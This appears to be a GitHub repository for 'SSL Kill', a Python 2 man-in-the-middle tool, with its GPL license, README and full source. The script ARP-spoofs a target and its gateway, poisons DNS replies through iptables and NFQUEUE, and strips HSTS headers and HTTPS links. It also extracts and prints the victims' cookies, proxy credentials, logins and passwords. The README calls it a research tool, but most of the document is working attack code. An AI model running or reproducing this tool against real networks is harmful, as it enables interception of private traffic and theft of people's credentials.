├── LICENSE ├── README.md ├── banner.png ├── requirements.txt └── sslkill.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # sslkill 2 | 3 | SSL Kill is a forced man-in-the-middle transparent reverse proxy that modifies HTTP requests and responses in order to avoid SSL and HSTS, to achieve that, it use a two-way ARP spoofing plus a forced DNS resolver that redirects all name server queries to the attacker IP Address. This tool is for information security researchers and should not be used for criminal acts 4 | 5 | 6 | SSL Kill v1.2
7 | 8 | 9 | ![alt text](banner.png) 10 | 11 | 12 | ## Installation 13 | ``` 14 | $sudo apt-get install build-essential python-dev libnetfilter-queue-dev 15 | $git clone https://github.com/m4n3dw0lf/sslkill 16 | $cd sslkill 17 | $sudo pip install -r requirements.txt 18 | $sudo chmod +x sslkill.py 19 | $sudo ./sslkill.py -h 20 | ``` 21 | 22 | ## Basics 23 | ``` 24 | usage: 25 | Network interface: -i or --interface 26 | Target IP Address: -t or --target 27 | Gateway IP Address: -g or --gateway 28 | Listening Port: -l or --listen 29 | Debug mode: -d Turn debugger ON, default = OFF 30 | 31 | examples: 32 | $sudo ./sslkill.py -i wlan0 -t 10.0.0.3 -g 10.0.0.1 33 | 34 | ``` 35 | -------------------------------------------------------------------------------- /banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4n3dw0lf/sslkill/ec12fe262225eedbe2fa469b804241a81efd1c61/banner.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy==2.3.3 2 | git+git://github.com/kti/python-netfilterqueue 3 | -------------------------------------------------------------------------------- /sslkill.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | #coding=UTF-8 3 | 4 | # Copyright (c) 2016-2017 Angelo Moura 5 | # 6 | # This file is part of the program sslkill 7 | # 8 | # sslkill is free software; you can redistribute it and/or 9 | # modify it under the terms of the GNU General Public License as 10 | # published by the Free Software Foundation; either version 3 of the 11 | # License, or (at your option) any later version. 12 | # 13 | # This program is distributed in the hope that it will be useful, but 14 | # WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 16 | # General Public License for more details. 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 20 | # USA 21 | 22 | version = 1.2 23 | banner = """\n 24 | 25 | ██████ ██████ ██▓ ██ ▄█▀ ██▓ ██▓ ██▓ 26 | ▒██ ▒ ▒██ ▒ ▓██▒ ██▄█▒ ▓██▒▓██▒ ▓██▒ 27 | ░ ▓██▄ ░ ▓██▄ ▒██░ ▓███▄░ ▒██▒▒██░ ▒██░ 28 | ▒ ██▒ ▒ ██▒▒██░ ▓██ █▄ ░██░▒██░ ▒██░ 29 | ▒██████▒▒▒██████▒▒░██████▒ ▒██▒ █▄░██░░██████▒░██████▒ 30 | ▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒░▓ ░ ▒ ▒▒ ▓▒░▓ ░ ▒░▓ ░░ ▒░▓ ░ 31 | ░ ░▒ ░ ░░ ░▒ ░ ░░ ░ ▒ ░ ░ ░▒ ▒░ ▒ ░░ ░ ▒ ░░ ░ ▒ ░ 32 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ 33 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 34 | 35 | SSL Kill v{} 36 | 37 | by: m4n3dw0lf""".format(version) 38 | 39 | help = """\nusage: 40 | Network interface: -i or --interface 41 | Target IP Address: -t or --target 42 | Gateway IP Address: -g or --gateway 43 | Listening Port: -l or --listen 44 | Debug mode: -d Turn debugger ON, default = OFF 45 | 46 | example: 47 | $sudo ./sslkill.py -i wlan0 -t 10.0.0.3 -g 10.0.0.1 48 | \n""".format(version) 49 | 50 | 51 | import logging 52 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 53 | import os 54 | import sys 55 | import threading 56 | import fcntl 57 | import struct 58 | import ssl 59 | import urllib2 60 | import re 61 | import socket 62 | import select 63 | import httplib 64 | import urlparse 65 | import threading 66 | import gzip 67 | import zlib 68 | import time 69 | import json 70 | from time import sleep 71 | from scapy.all import * 72 | from netfilterqueue import NetfilterQueue 73 | from collections import deque 74 | from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler 75 | from SocketServer import ThreadingMixIn 76 | from cStringIO import StringIO 77 | from subprocess import Popen, PIPE 78 | from HTMLParser import HTMLParser 79 | 80 | debug = False 81 | port = 8080 82 | 83 | class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): 84 | address_family = socket.AF_INET6 85 | daemon_threads = True 86 | 87 | def handle_error(self, request, client_address): 88 | # surpress socket/ssl related errors 89 | cls, e = sys.exc_info()[:2] 90 | if cls is socket.error or cls is ssl.SSLError: 91 | pass 92 | else: 93 | return HTTPServer.handle_error(self, request, client_address) 94 | 95 | class ProxyRequestHandler(BaseHTTPRequestHandler): 96 | timeout = 5 97 | lock = threading.Lock() 98 | 99 | def __init__(self, *args, **kwargs): 100 | self.tls = threading.local() 101 | self.tls.conns = {} 102 | BaseHTTPRequestHandler.__init__(self, *args, **kwargs) 103 | 104 | def log_error(self, format, *args): 105 | # surpress "Request timed out: timeout('timed out',)" 106 | if isinstance(args[0], socket.timeout): 107 | return 108 | 109 | self.log_message(format, *args) 110 | 111 | def do_CONNECT(self): 112 | self.connect_relay() 113 | 114 | def connect_relay(self): 115 | address = self.path.split(':', 1) 116 | address[1] = int(address[1]) or 443 117 | try: 118 | s = socket.create_connection(address, timeout=self.timeout) 119 | except Exception as e: 120 | self.send_error(502) 121 | return 122 | self.send_response(200, 'Connection Established') 123 | self.end_headers() 124 | 125 | conns = [self.connection, s] 126 | self.close_connection = 0 127 | while not self.close_connection: 128 | rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) 129 | if xlist or not rlist: 130 | break 131 | for r in rlist: 132 | other = conns[1] if r is conns[0] else conns[0] 133 | data = r.recv(8192) 134 | if not data: 135 | self.close_connection = 1 136 | break 137 | other.sendall(data) 138 | 139 | def do_GET(self): 140 | req = self 141 | content_length = int(req.headers.get('Content-Length', 0)) 142 | req_body = self.rfile.read(content_length) if content_length else None 143 | if req.path[0] == '/': 144 | if isinstance(self.connection, ssl.SSLSocket): 145 | req.path = "https://%s%s" % (req.headers['Host'], req.path) 146 | else: 147 | req.path = "http://%s%s" % (req.headers['Host'], req.path) 148 | req_body_modified = self.request_handler(req, req_body) 149 | if req_body_modified is False: 150 | self.send_error(403) 151 | return 152 | elif req_body_modified is not None: 153 | req_body = req_body_modified 154 | req.headers['Content-length'] = str(len(req_body)) 155 | u = urlparse.urlsplit(req.path) 156 | scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query if u.query else u.path) 157 | assert scheme in ('http', 'https') 158 | if netloc: 159 | prefixes = ["wwww","waccounts","wmail","wbooks","wssl","wdrive","wmaps","wnews","wplay","wplus","wencrypted","wassets","wgraph","wfonts","wlogin","wsecure","wwiki","wwallet","wmyaccount","wphotos","wdocs","wlh3","wapis","wb","ws","wbr","wna","wads","wlogin","wwm","wm","wmobile","wsb"] 160 | req.headers['Host'] = netloc 161 | for prefix in prefixes: 162 | if netloc.startswith(prefix): 163 | netloc = netloc[1:] 164 | scheme = "https" 165 | setattr(req, 'headers', self.filter_headers(req.headers)) 166 | try: 167 | origin = (scheme, netloc) 168 | if debug: 169 | print "[+] Connection: {}://{}".format(scheme, netloc) 170 | if not origin in self.tls.conns: 171 | if scheme == 'https': 172 | self.tls.conns[origin] = httplib.HTTPSConnection(netloc, timeout=self.timeout) 173 | else: 174 | self.tls.conns[origin] = httplib.HTTPConnection(netloc, timeout=self.timeout) 175 | conn = self.tls.conns[origin] 176 | conn.request(self.command, path, req_body, dict(req.headers)) 177 | if debug: 178 | print "[+] Command: {}".format(self.command) 179 | print "[+] Path: {}".format(path) 180 | print "----------------------------------------------------------------------" 181 | res = conn.getresponse() 182 | version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'} 183 | setattr(res, 'headers', res.msg) 184 | setattr(res, 'response_version', version_table[res.version]) 185 | 186 | # support streaming 187 | try: 188 | if not 'Content-Length' in res.headers and 'no-store' in res.headers.get('Cache-Control'): 189 | self.response_handler(req, req_body, res, '') 190 | setattr(res, 'headers', self.filter_headers(res.headers)) 191 | self.relay_streaming(res) 192 | return 193 | 194 | except TypeError: 195 | pass 196 | 197 | res_body = res.read() 198 | except Exception as e: 199 | if debug: 200 | print "Exception !!! ---- > : {}".format(e) 201 | if origin in self.tls.conns: 202 | del self.tls.conns[origin] 203 | self.send_error(502) 204 | return 205 | 206 | content_encoding = res.headers.get('Content-Encoding', 'identity') 207 | res_body_plain = self.decode_content_body(res_body, content_encoding) 208 | res_body_modified = self.response_handler(req, req_body, res, res_body_plain, scheme, netloc, path, self.command) 209 | if res_body_modified is False: 210 | self.send_error(403) 211 | return 212 | elif res_body_modified is not None: 213 | res_body_plain = res_body_modified 214 | res_body = self.encode_content_body(res_body_plain, content_encoding) 215 | res.headers['Content-Length'] = str(len(res_body)) 216 | setattr(res, 'headers', self.filter_headers(res.headers)) 217 | 218 | self.wfile.write("%s %d %s\r\n" % (self.protocol_version, res.status, res.reason)) 219 | for line in res.headers.headers: 220 | self.wfile.write(line) 221 | self.end_headers() 222 | self.wfile.write(res_body) 223 | self.wfile.flush() 224 | 225 | 226 | def relay_streaming(self, res): 227 | self.wfile.write("%s %d %s\r\n" % (self.protocol_version, res.status, res.reason)) 228 | for line in res.headers.headers: 229 | self.wfile.write(line) 230 | self.end_headers() 231 | try: 232 | while True: 233 | chunk = res.read(8192) 234 | if not chunk: 235 | break 236 | self.wfile.write(chunk) 237 | self.wfile.flush() 238 | except socket.error: 239 | # connection closed by client 240 | pass 241 | 242 | do_HEAD = do_GET 243 | do_POST = do_GET 244 | do_OPTIONS = do_GET 245 | 246 | def filter_headers(self, headers): 247 | # http://tools.ietf.org/html/rfc2616#section-13.5.1 248 | hop_by_hop = ('connection', 'keep-alive', 'proxy-authenticate', 'proxy-authorization', 'te', 'trailers', 'transfer-encoding', 'upgrade') 249 | for k in hop_by_hop: 250 | del headers[k] 251 | 252 | # accept only supported encodings 253 | if 'Accept-Encoding' in headers: 254 | ae = headers['Accept-Encoding'] 255 | filtered_encodings = [x for x in re.split(r',\s*', ae) if x in ('identity', 'gzip', 'x-gzip', 'deflate')] 256 | headers['Accept-Encoding'] = ', '.join(filtered_encodings) 257 | 258 | return headers 259 | 260 | def encode_content_body(self, text, encoding): 261 | if encoding == 'identity': 262 | data = text 263 | elif encoding in ('gzip', 'x-gzip'): 264 | io = StringIO() 265 | with gzip.GzipFile(fileobj=io, mode='wb') as f: 266 | f.write(text) 267 | data = io.getvalue() 268 | elif encoding == 'deflate': 269 | data = zlib.compress(text) 270 | else: 271 | raise Exception("Unknown Content-Encoding: %s" % encoding) 272 | return data 273 | 274 | def decode_content_body(self, data, encoding): 275 | if encoding == 'identity': 276 | text = data 277 | elif encoding in ('gzip', 'x-gzip'): 278 | io = StringIO(data) 279 | with gzip.GzipFile(fileobj=io) as f: 280 | text = f.read() 281 | elif encoding == 'deflate': 282 | try: 283 | text = zlib.decompress(data) 284 | except zlib.error: 285 | text = zlib.decompress(data, -zlib.MAX_WBITS) 286 | else: 287 | raise Exception("Unknown Content-Encoding: %s" % encoding) 288 | return text 289 | 290 | def request_handler(self, req, req_body): 291 | pass 292 | 293 | def response_handler(self, req, req_body, res, res_body, scheme, netloc, path, method): 294 | pass 295 | 296 | 297 | def Proxy(HandlerClass=ProxyRequestHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): 298 | server_address = ('', port) 299 | 300 | HandlerClass.protocol_version = protocol 301 | httpd = ServerClass(server_address, HandlerClass) 302 | 303 | sa = httpd.socket.getsockname() 304 | print "\n[+] Serving HTTP Proxy on", sa[0], "port", sa[1], "..." 305 | httpd.serve_forever() 306 | 307 | 308 | class SSLStripRequestHandler(ProxyRequestHandler): 309 | replaced_urls = deque(maxlen=1024) 310 | def request_handler(self, req, req_body): 311 | if debug: 312 | print "\n-----------------------------[Request]--------------------------------" 313 | if req.headers: 314 | modified = False 315 | if debug: 316 | print "[+] Original Headers:" 317 | print req.headers 318 | prefixes = ["wwww","waccounts","wmail","wbooks","wssl","wdrive","wmaps","wnews","wplay","wplus","wencrypted","wassets","wgraph","wfonts","wlogin","wsecure","wwiki","wwallet","wmyaccount","wphotos","wdocs","wlh3","wapis","wb","ws","wbr","wna","wads","wlogin","wmm","wm","wmobile","wsb"] 319 | pxy_regex = '([Ww]ww-[Aa]uthorization:|[Ww]ww-[Aa]uthentication:|[Pp]roxy-[Aa]uthorization:|[Pp]roxy-[Aa]uthentication:) Basic (.*?) ' 320 | cookie_regex = '([Cc]okie:)(.*?)' 321 | for p in prefixes: 322 | for h in req.headers: 323 | if p in req.headers[h]: 324 | req.headers[h] = req.headers[h].replace(p, p[1:]) 325 | modified = True 326 | for h in req.headers: 327 | proxy = re.findall(pxy_regex, h) 328 | cookie = re.findall(cookie_regex, h) 329 | if cookie: 330 | print "\n[$$$] Cookie found: " + str(cookie[0][1]) + "\n" 331 | if proxy: 332 | try: 333 | print "\n[$$$] Proxy credentials: " + str(proxy[0][1]).decode('base64') + "\n" 334 | except: 335 | print "\n[$$$] Proxy credentials: " + str(proxy[0][1]) + "\n" 336 | if debug: 337 | if modified: 338 | print "[+] Modified Headers:" 339 | print req.headers 340 | if req_body: 341 | modified = False 342 | if debug: 343 | print "\n[+]Original Body:" 344 | print req_body 345 | for p in prefixes: 346 | if p in req_body: 347 | req_body.replace(p, p[1:]) 348 | modified = True 349 | if debug: 350 | if modified: 351 | print "[+] Modified Body:" 352 | print req_body 353 | user_regex = '(vSIS_USUARIOID|[Ee]mail|[Uu]ser|[Uu]sername|[Ll]ogin|[Ll]ogin[Ii][Dd]|[Uu]name|[Uu]suario)=([^&|;]*)' 354 | pw_regex = '(vSIS_USUARIOSENHA|[Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)' 355 | plain_text = str(req_body.replace("\n"," ")) 356 | users = re.findall(user_regex, plain_text) 357 | passwords = re.findall(pw_regex, plain_text) 358 | if users: 359 | print "\n[$$$] Login found: " + str(users[0][1]) + "\n" 360 | if passwords: 361 | print "\n[$$$] Password found: " + str(passwords[0][1]) + "\n" 362 | 363 | 364 | def response_handler(self, req, req_body, res, res_body, scheme, netloc, path, method): 365 | if debug: 366 | print "\n----------------------------[Response]--------------------------------" 367 | if res.headers: 368 | modified = False 369 | #Protection HSTS Header to Strip 370 | hsts = 'Strict-Transport-Security' 371 | if debug: 372 | print "\n[+] Original Headers:" 373 | print res.headers 374 | print 375 | for h in res.headers: 376 | if "https://" in res.headers[h]: 377 | res.headers[h].replace("https://","http://w") 378 | modified = True 379 | try: 380 | if res.headers[hsts]: 381 | del res.headers[hsts] 382 | modified = True 383 | except: 384 | pass 385 | try: 386 | res.headers['Location'] = res.headers['Location'].replace("https://","http://w") 387 | replaced_urls.append(res.headers['Location']) 388 | modified = True 389 | except: 390 | pass 391 | if debug: 392 | if modified: 393 | print "\n[+] Modified Headers:" 394 | print res.headers 395 | print 396 | if res_body: 397 | if debug: 398 | print "\n[+] Original Body:" 399 | print res_body 400 | if scheme == "http": 401 | return res_body 402 | else: 403 | try: 404 | hds = {} 405 | hds['User-Agent'] = req.headers['User-Agent'] 406 | hds['Accept'] = req.headers['Accept'] 407 | if method == "POST": 408 | original_request = urllib2.Request("{}://{}{}".format(scheme, netloc, path), data=req_body, headers=hds) 409 | original_body = urllib2.urlopen(original_request).read() 410 | res_body = original_body.replace("https://", "http://w") 411 | else: 412 | original_request = urllib2.Request("{}://{}{}".format(scheme, netloc, path),headers=hds) 413 | original_body = urllib2.urlopen(original_request).read() 414 | res_body = original_body.replace("https://","http://w") 415 | except Exception as e: 416 | print "Exception caught: {}".format(e) 417 | res_body = res_body.replace("https://","http://w") 418 | if debug: 419 | print "\n[+] Modified Body:" 420 | print res_body.replace("https://","http://w") 421 | return res_body 422 | if debug: 423 | print "\n----------------------------------------------------------------------" 424 | 425 | 426 | class SSLKiller(object): 427 | 428 | def __init__(self, interface, target, gateway): 429 | print banner 430 | print 431 | self.interface = interface 432 | print "[+] Interface: {}".format(self.interface) 433 | def nic_ip(interface): 434 | try: 435 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 436 | return socket.inet_ntoa(fcntl.ioctl( 437 | s.fileno(), 438 | 0x8915, 439 | struct.pack('256s', interface[:15]) 440 | )[20:24]) 441 | except IOError: 442 | print "[!] Select a valid network interface, exiting ..." 443 | exit(0) 444 | 445 | def nic_mac(interface): 446 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 447 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', interface[:15])) 448 | return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] 449 | self.hostIP = nic_ip(self.interface) 450 | print "[+] This host IP Address: {}".format(self.hostIP) 451 | self.hostMAC = nic_mac(self.interface) 452 | print "[+] This host MAC Address: {}".format(self.hostMAC) 453 | def resolve_mac(ip): 454 | try: 455 | conf.verb = 0 456 | ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst=ip), timeout=2) 457 | for snd, rcv in ans: 458 | return str(rcv[Ether].src) 459 | except socket.gaierror: 460 | print "[!] Select a valid IP Address as target/gateway, exiting ..." 461 | exit(0) 462 | self.targetIP = target 463 | print "[+] Target IP Address: {}".format(self.targetIP) 464 | self.targetMAC = resolve_mac(self.targetIP) 465 | print "[+] Target MAC Address: {}".format(self.targetMAC) 466 | self.gatewayIP = gateway 467 | print "[+] Gateway IP Address: {}".format(self.gatewayIP) 468 | self.gatewayMAC = resolve_mac(self.gatewayIP) 469 | print "[+] Gateway MAC Address: {}".format(self.gatewayMAC) 470 | #if not self.targetMAC or not self.gatewayMAC: 471 | # print "[!] Failed to resolve MAC Address, check if IP Address is online, exiting ..." 472 | #exit(0) 473 | animation = "|/-\\" 474 | for i in range(15): 475 | time.sleep(0.1) 476 | sys.stdout.write("\r" + "[" + animation[i % len(animation)] + "]" + " Loading SSL Kill ...") 477 | sys.stdout.flush() 478 | self.ArpPoisoner() 479 | sys.stdout.write("\n[+] ARP Poisoner thread loaded") 480 | self.DnsPoisoner() 481 | print "\n[+] DNS Poisoner thread loaded" 482 | if debug: 483 | print "\n[+]Debugger is on!" 484 | else: 485 | print "\n[-]Debugger is off!" 486 | 487 | def ArpPoisoner(self): 488 | #ARP Spoof both ways, target and gateway 489 | def ArpThread(): 490 | t = threading.Thread(name='ARPspoof', target=ArpPoison) 491 | t.setDaemon(True) 492 | t.start() 493 | def ArpPoison(): 494 | os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") 495 | socket_L2 = conf.L2socket(iface=self.interface) 496 | while True: 497 | sleep(3) 498 | socket_L2.send(Ether(src=self.hostMAC, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.hostMAC, psrc=self.gatewayIP, op="is-at")) 499 | socket_L2.send(Ether(src=self.hostMAC, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.hostMAC, psrc=self.targetIP, op="is-at")) 500 | ArpThread() 501 | #ArpPoison() 502 | 503 | def DnsPoisoner(self): 504 | def callback(packet): 505 | payload = packet.get_payload() 506 | pkt = IP(payload) 507 | if not pkt.haslayer(DNSQR): 508 | packet.accept() 509 | else: 510 | if debug: 511 | print "[+]DNS Poisoning {} --> {}".format(pkt[DNS].qd.qname, self.hostIP) 512 | new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 513 | UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 514 | DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ 515 | an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.hostIP)) 516 | packet.set_payload(str(new_pkt)) 517 | packet.accept() 518 | 519 | def DnsThread(): 520 | t = threading.Thread(name='DNSspoof', target=DnsPoison) 521 | t.setDaemon(True) 522 | t.start() 523 | def DnsPoison(): 524 | os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') 525 | q = NetfilterQueue() 526 | q.bind(1, callback) 527 | q.run() 528 | DnsThread() 529 | #DnsPoison() 530 | 531 | 532 | if __name__ == "__main__": 533 | 534 | if os.geteuid() != 0: 535 | sys.exit("[-] Only for roots kido! ") 536 | try: 537 | for x in sys.argv: 538 | if x == "-h" or x == "--help": 539 | print banner 540 | print help 541 | exit(0) 542 | if x == "-d" or x == "--debugger": 543 | debug = True 544 | if x == "-i" or x == "--interface": 545 | index = sys.argv.index(x) + 1 546 | interface = sys.argv[index] 547 | if x == "-t" or x == "--target": 548 | index = sys.argv.index(x) + 1 549 | target = sys.argv[index] 550 | if x == "-g" or x == "--gateway": 551 | index = sys.argv.index(x) + 1 552 | gateway = sys.argv[index] 553 | if x == "-l" or x == "--listen": 554 | index = sys.argv.index(x) + 1 555 | port = int(sys.argv[index]) 556 | sslkill = SSLKiller(interface, target, gateway) 557 | os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports {}".format(port)) 558 | Proxy(HandlerClass=SSLStripRequestHandler) 559 | except KeyboardInterrupt: 560 | print "[!] Aborted..." 561 | os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") 562 | os.system('iptables -t nat -F') 563 | exit(0) 564 | except Exception as e: 565 | print banner 566 | print help 567 | print "[!] Exception caught: {}".format(e) 568 | os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") 569 | os.system('iptables -t nat -F') 570 | exit(0) 571 | --------------------------------------------------------------------------------